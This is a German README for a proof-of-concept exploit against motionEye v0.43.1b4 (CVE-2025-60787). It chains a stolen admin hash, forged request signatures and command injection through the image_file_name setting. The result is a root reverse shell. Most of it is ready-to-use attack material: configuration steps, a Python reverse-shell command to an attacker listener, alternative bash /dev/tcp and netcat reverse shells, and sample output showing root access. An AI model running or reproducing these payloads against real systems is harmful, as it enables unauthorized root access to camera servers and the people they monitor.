
Proof-of-Concept-Exploit für CVE-2025-60787, eine OS-Befehlsinjektion in motionEye v0.43.1b4, die Remote-Code-Ausführung über den manipulierten Parameter image_file_name ermöglicht.
MotionEye v0.43.1b4 OS-Command-Injection
Ein Proof-of-Concept-Exploit für eine OS-Command-Injection-Schwachstelle in motionEye, einem Web-Frontend für den Motion-Daemon. Die Schwachstelle missbraucht den Konfigurationsparameter image_file_name, der ohne Bereinigung direkt an die Shell übergeben wird, wodurch eine beliebige Befehlseinschleusung über die $(command)-Subshell-Syntax möglich ist.
Haftungsausschluss: Verwenden Sie dies nur gegen Systeme, für die Sie ausdrücklich die Erlaubnis zum Testen haben. Unautorisierte Nutzung ist illegal.
motionEye übergibt den image_file_name-Konfigurationswert direkt als Shell-Dateinamenmuster an den Motion-Daemon. Motion wertet $(...)-Subshell-Ausdrücke in Dateinamen zum Zeitpunkt der Schnappschuss-Erstellung aus, was bedeutet, dass jeder in $(...) platzierte Befehl als der Benutzer ausgeführt wird, der den Motion-Prozess betreibt (normalerweise root).
Die vollständige Angriffskette ist:
1. Read admin_password hash from /etc/motioneye/motion.conf
↓
2. Derive cookie hash = SHA1(admin_password_hash)
↓
3. Compute HMAC signature using motionEye's exact algorithm:
SHA1("METHOD:path:body:key")
↓
4. POST malicious config to /config/{cam}/set/ with:
image_file_name = $(your_command).%Y-%m-%d-%H-%M-%S
↓
5. Trigger snapshot via unauthenticated motion control port 7999
↓
6. Motion evaluates the filename → command executes as root
↓
7. Reverse shell connects back to attacker machine
8765)/etc/motioneye/motion.confnc)Es sind keine Python-Pakete von Drittanbietern erforderlich — der Exploit verwendet nur die Standardbibliothek.
Die motionEye-Konfigurationsdatei speichert das Admin-Passwort als SHA1-Hash. Lesen Sie ihn auf dem Zielsystem aus:
cat /etc/motioneye/motion.conf
Suchen Sie nach der Kommentarzeile @admin_password:
# @admin_username admin
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
Der Wert nach
@admin_passwordist ein SHA1-Hash des Klartextpassworts, nicht das Passwort selbst. Genau diesen Hash benötigen Sie für den Exploit.
Notieren Sie auch den Wert webcontrol_port — dies ist der nicht authentifizierte Motion-Control-Port, der zum Auslösen von Schnappschüssen verwendet wird:
webcontrol_port 7999
webcontrol_localhost on
user@test:/tmp$ cat /etc/motioneye/motion.conf
# @admin_username admin
# @normal_username user
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
# @lang en
# @enabled on
# @normal_password
setup_mode off
webcontrol_port 7999
webcontrol_interface 1
webcontrol_localhost on
webcontrol_parms 2
camera camera-1.conf
camera camera-2.conf
motionEye verwendet ein doppelt gehashtes Authentifizierungsschema:
plaintext_password
│
▼ SHA1
admin_password ←── stored in motion.conf as @admin_password
│
▼ SHA1
cookie_hash ←── sent in browser cookie as meye_password_hash
│
▼ used as HMAC key
request_signature ←── _signature= parameter in every API request
Der Exploit leitet den Cookie-Hash automatisch aus dem Konfigurationshash ab:
cookie_hash = hashlib.sha1(admin_password_hash.encode()).hexdigest()
Sie können dies manuell überprüfen:
echo -n "989c5a8ee87a0e9521ec81a79187d162109282f0" | sha1sum
# output: 238bd0f26e9f987d2dc9c0351c018e5f52534052
Die Signatur wird aus dem motionEye-Quellcode unter
/usr/local/lib/python3.x/dist-packages/motioneye/utils/__init__.py:
SHA1("METHOD:path:body:key")
Wobei:
METHOD — HTTP-Methode (POST)path — URI, aus der _signature aus der Abfragezeichenfolge entfernt wurde, Parameter sortiert, Werte URL-kodiert und anschließend durch _SIGNATURE_REGEX gefiltertbody — rohe JSON-Body-Zeichenfolge, gefiltert durch _SIGNATURE_REGEXkey — entweder admin_password oder admin_hash (motionEye akzeptiert beides), gefiltert durch _SIGNATURE_REGEX_SIGNATURE_REGEX entfernt jedes Zeichen, das nicht in [a-zA-Z0-9/?_.=&{}\[\]":, -] enthalten ist, und ersetzt es durch -.
Öffnen Sie exploit.py und setzen Sie die folgenden Variablen am Anfang:
MOTIONEYE_URL = "http://127.0.0.1:8765" # motionEye web UI URL
MOTION_URL = "http://127.0.0.1:7999" # motion control port (no auth)
USERNAME = "admin" # admin username (default: admin)
ADMIN_HASH = "989c5a8ee87a0e9521ec81a79187d162109282f0" # from motion.conf
LHOST = "10.10.16.153" # your listener IP — the target must be able to reach this
LPORT = "4444" # your listener port
Der Reverse-Shell-Befehl wird automatisch aus LHOST und LPORT gesetzt:
COMMAND = f"python3 -c 'import socket,os,pty;s=socket.socket();s.connect((\"{LHOST}\",{LPORT}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/bash\")'"
Alternative Shell-Befehle — tauschen Sie COMMAND aus, falls der Standardbefehl blockiert wird:
# Bash TCP (simple, may be filtered)
COMMAND = f"bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1"
# Netcat with -e flag
COMMAND = f"nc -e /bin/bash {LHOST} {LPORT}"
# Netcat without -e (OpenBSD netcat)
COMMAND = f"rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc {LHOST} {LPORT} > /tmp/f"
Starten Sie auf Ihrem Angriffsrechner einen Netcat-Listener, bevor Sie den Exploit ausführen:
nc -lvnp 4444
Der Exploit pausiert nach der Ausgabe des Listener-Hinweises 5 Sekunden, damit Sie Zeit haben, das Terminal zu wechseln.
python3 exploit.py
Erwartete Ausgabe:
============================================================
motionEye RCE — Reverse Shell
============================================================
[*] LHOST : 10.10.16.153
[*] LPORT : 4444
[*] Command : python3 -c '...'
[!] Start your listener NOW:
nc -lvnp 4444
[*] Sending payload in 5 seconds...
[*] cam=2 key=admin_password ts=1773484327292
sig=abc123...
status=200 resp={}
[+] Config saved! cam=2 key=admin_password
[*] Triggering snapshots via port 7999 (no auth)...
[+] cam 0 → 200 Snapshot for camera 0 Done
[+] cam 1 → 200 Snapshot for camera 1 Done
[+] cam 2 → 200 Snapshot for camera 2 Done
[+] Snapshot triggered — check your listener on 10.10.16.153:4444
Auf Ihrem Listener sollten Sie Folgendes empfangen:
listening on [any] 4444 ...
connect to [10.10.16.153] from (UNKNOWN) [target_ip] 51234
root@test:/var/lib/motioneye/Camera2#